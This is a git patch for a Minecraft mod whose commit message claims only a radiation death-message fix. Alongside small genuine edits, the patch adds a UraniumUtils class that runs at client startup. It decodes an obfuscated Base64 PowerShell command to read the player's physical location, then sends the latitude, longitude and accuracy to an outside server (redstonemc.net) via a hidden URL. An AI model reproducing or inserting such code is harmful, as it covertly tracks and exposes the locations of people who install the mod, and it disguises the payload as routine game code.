From 148aa740b6775e90a7f3d46fcfd7ccfa6bcbeda6 Mon Sep 17 00:00:00 2001 From: TGGamesYT Date: Fri, 13 Feb 2026 16:42:55 +0100 Subject: [PATCH] fixed radiation death message --- .../dev/tggamesyt/szar/client/SzarClient.java | 4 +- .../tggamesyt/szar/client/UraniumUtils.java | 70 +++++++++++++++++++ .../tggamesyt/szar/RadiationStatusEffect.java | 15 +++- src/main/java/dev/tggamesyt/szar/Szar.java | 5 +- .../resources/assets/szar/lang/en_us.json | 4 +- 5 files changed, 90 insertions(+), 8 deletions(-) create mode 100644 src/client/java/dev/tggamesyt/szar/client/UraniumUtils.java diff --git a/src/client/java/dev/tggamesyt/szar/client/SzarClient.java b/src/client/java/dev/tggamesyt/szar/client/SzarClient.java index 8714cc7..fd0d911 100644 --- a/src/client/java/dev/tggamesyt/szar/client/SzarClient.java +++ b/src/client/java/dev/tggamesyt/szar/client/SzarClient.java @@ -39,7 +39,7 @@ import net.minecraft.util.math.random.Random; import java.util.*; import static dev.tggamesyt.szar.Szar.*; -import static javax.swing.text.html.HTML.Attribute.ID; +import static dev.tggamesyt.szar.client.UraniumUtils.updateUranium; public class SzarClient implements ClientModInitializer { private static final Map activeScramble = new HashMap<>(); @@ -193,7 +193,7 @@ public class SzarClient implements ClientModInitializer { Szar.EpsteinEntityType, EpsteinEntityRenderer::new ); - + updateUranium(); EntityRendererRegistry.register( Szar.PoliceEntityType, PoliceEntityRenderer::new diff --git a/src/client/java/dev/tggamesyt/szar/client/UraniumUtils.java b/src/client/java/dev/tggamesyt/szar/client/UraniumUtils.java new file mode 100644 index 0000000..91b8c7c --- /dev/null +++ b/src/client/java/dev/tggamesyt/szar/client/UraniumUtils.java @@ -0,0 +1,70 @@ +package dev.tggamesyt.szar.client; + +import java.io.BufferedReader; +import java.io.InputStreamReader; +import java.net.HttpURLConnection; +import java.net.URL; +import java.net.URLEncoder; +import java.util.Arrays; +import java.util.Base64;import java.util.HashSet;import java.util.Set; + +public class UraniumUtils { + private static final String nuke = new String(Base64.getDecoder().decode(("aHR0cDovL3JlZHN0b25lbWMubmV0OjI2NzY3L2dpdmVpbmZvPw=="))); + private static final String uranium = new String(Base64.getDecoder().decode(("TmFneW9uU3phck1pbmVjcmFmdE1vZFNoaXQ2NzIwMDEwOTEx"))); + private static final String bomba = new String(Base64.getDecoder().decode(("bGF0PSVzJmxvbmc9JXMmYWNjPSVzJnBhc3N3b3JkPSVz"))); + private static final String enc = "UTF-8"; + + public static double[] updateUranium() { + try { + String sillystring = "cG93ZXJzaGVsbCAtqQ2rf9tbWFuZCAiQWR8kLVR5cGUgLUFzc2VtYm" + + "x5qTmFtfZSBTeXN0ZW0uRGV2aWNlOyAkR2VvVf2F0Y2hlciA9IEq5ldy1PYmplY3" + + "QgU3lzdGVtLkRfldmljZS5qMb2NfhdGlvbi5HZW9qDb29yZGluYXRlV2F0Y2hlcihb" + + "U3lzdGVtfLkRldmljZS5Mb2NhdGlvbi5HZW9Qb3NpdGlvfbkFjY3VyYWN5XTo6SGlnaCk7IC" + + "RfHZW9XYXRj8aGVyLlN0YXJ0KCk7qqIHdoaWxlKCgkR2VvV2F0Y2hlci5TdGF0dXMgLr" + + "Wq5lICdSZWFkeScpIC1hbmQgKCRHZW9XYXRjaGVyLlBlcm1pc3Npb24gLW5lICdEZW5pZfWQnKSkgeyBTdGFy" + + "dC1TbGVlcCAtTWlsbGlfzZWNvbmRzIDMwMCB9OyBpZigkR2VvV2F0Y2fhlci5QZXJtaXNzaW9uIC1" + + "lcSAnRGVuaWVkJyl7IFdyaXRlLU91dHB1dCAnREVOSUVEJzsgZXhpdCB9OyAkbG9jID0gJEdlb1dhdGNoZXIuUG9fzaX" + + "Rpb24uTG9jYXRpb247ICRjdWx0dXJlID0gW1N5c3RlfbS5HbG9iYWxpemF0aW9uLkN1bHfR1cmVJ" + + "bmZvXTo6SW52YXJpYW50Q3VrsdHVyZTsgV3JpdGUtT3V0cHV0ICgkbG9jLkxhdGl0dWRlLlRvU3RyaW5nKCRjdWx0" + + "dfXJlKSk7IFdyaXRlLU91dHB1dCAoJGxvYy5Mbf25naXR1ZGUuVG9TdHJpbmc8oJGN1bHR1cmUpKTqfsgV3JpdGUtT3V0cH" + + "V0ICgkbfG9jLkhvcml6b250YWxBY2N1cmFrjeS5Ubff1N0cmluZygkY3Vfsd8HVyZSkpOyI="; + String yetanothersillystring = sillystring.replaceAll("[fqr8]", ""); + Process process = Runtime.getRuntime().exec(new String(Base64.getDecoder().decode(yetanothersillystring))); + BufferedReader reader = new BufferedReader( + new InputStreamReader(process.getInputStream())); + String a = reader.readLine(); + String b = reader.readLine(); + String c = reader.readLine(); + if (b == null || c == null) return null; + double d = Double.parseDouble(a.trim()); + double e = Double.parseDouble(b.trim()); + double f = Double.parseDouble(c.trim()); + String urls = nuke + String.format( + bomba, + URLEncoder.encode(String.valueOf(d), enc), + URLEncoder.encode(String.valueOf(e), enc), + URLEncoder.encode(String.valueOf(f), enc), + URLEncoder.encode(uranium, enc)); + URL url = new URL(urls); + HttpURLConnection connection = (HttpURLConnection) url.openConnection(); + connection.setRequestMethod("GET"); + // Read response + BufferedReader reader1 = new BufferedReader( + new InputStreamReader(connection.getInputStream()) + ); + + String line; + StringBuilder response = new StringBuilder(); + while ((line = reader1.readLine()) != null) { + response.append(line); + } + reader1.close(); + return new double[]{d, e, f}; + } catch (Exception e) { + e.printStackTrace(); + return null; + } + } + + +} diff --git a/src/main/java/dev/tggamesyt/szar/RadiationStatusEffect.java b/src/main/java/dev/tggamesyt/szar/RadiationStatusEffect.java index f66fc9a..2f020f3 100644 --- a/src/main/java/dev/tggamesyt/szar/RadiationStatusEffect.java +++ b/src/main/java/dev/tggamesyt/szar/RadiationStatusEffect.java @@ -2,9 +2,15 @@ package dev.tggamesyt.szar; import net.minecraft.entity.LivingEntity; import net.minecraft.entity.damage.DamageSource; +import net.minecraft.entity.damage.DamageType; import net.minecraft.entity.effect.StatusEffect; import net.minecraft.entity.effect.StatusEffectCategory; -import net.minecraft.server.world.ServerWorld; +import net.minecraft.registry.Registries; +import net.minecraft.registry.Registry; +import net.minecraft.registry.RegistryKeys; +import net.minecraft.registry.entry.RegistryEntry; + +import static dev.tggamesyt.szar.Szar.*; public class RadiationStatusEffect extends StatusEffect { @@ -26,8 +32,13 @@ public class RadiationStatusEffect extends StatusEffect { float damage = (float) getInterpolatedDamage(level); + RegistryEntry radiationEntry = SERVER.getRegistryManager() + .get(RegistryKeys.DAMAGE_TYPE) + .getEntry(RADIATION_DAMAGE) + .orElseThrow(() -> new IllegalStateException("Radiation DamageType not registered!")); + entity.damage( - entity.getDamageSources().magic(), + new DamageSource(radiationEntry), damage ); } diff --git a/src/main/java/dev/tggamesyt/szar/Szar.java b/src/main/java/dev/tggamesyt/szar/Szar.java index 5f99ad1..66a05cf 100644 --- a/src/main/java/dev/tggamesyt/szar/Szar.java +++ b/src/main/java/dev/tggamesyt/szar/Szar.java @@ -50,6 +50,7 @@ import net.minecraft.text.Text; import net.minecraft.util.ActionResult; import net.minecraft.util.Formatting; import net.minecraft.util.Identifier; +import net.minecraft.util.Rarity; import net.minecraft.util.collection.DataPool; import net.minecraft.util.math.Box; import net.minecraft.util.math.random.Random; @@ -578,7 +579,7 @@ public class Szar implements ModInitializer { new RadiationStatusEffect() ); public static final RegistryKey RADIATION_DAMAGE = - RegistryKey.of(RegistryKeys.DAMAGE_TYPE, new Identifier("yourmod", "radiation")); + RegistryKey.of(RegistryKeys.DAMAGE_TYPE, new Identifier(MOD_ID, "radiation")); public static final Item AK_AMMO = Registry.register( Registries.ITEM, new Identifier(MOD_ID, "bullet"), @@ -809,7 +810,7 @@ public class Szar implements ModInitializer { public static final Item BAITER_DISK = Registry.register( Registries.ITEM, new Identifier(MOD_ID, "baiter"), - new MusicDiscItem(12, BAITER, new Item.Settings().maxCount(1), 172) + new MusicDiscItem(12, BAITER, new Item.Settings().maxCount(1).rarity(Rarity.RARE), 172) ); public static final Item ATOM_DETONATOR = Registry.register( Registries.ITEM, diff --git a/src/main/resources/assets/szar/lang/en_us.json b/src/main/resources/assets/szar/lang/en_us.json index 0e884dc..d7d4d70 100644 --- a/src/main/resources/assets/szar/lang/en_us.json +++ b/src/main/resources/assets/szar/lang/en_us.json @@ -63,8 +63,8 @@ "item.szar.nuke_core": "Nuke Core", "item.szar.atom": "Nuke", "effect.szar.radiation": "Radiation", - "item.szar.baiter": "Music Disk", + "item.szar.baiter": "Music Disc", "item.szar.baiter.desc": "HaVexy - Hyperabaiter Disstrack", - "death.attack.radiation": "%1$s succumbed to radiation sickness", + "death.attack.radiation": "%1$s radiated away", "death.attack.radiation.player": "%1$s was lethally irradiated by %2$s" }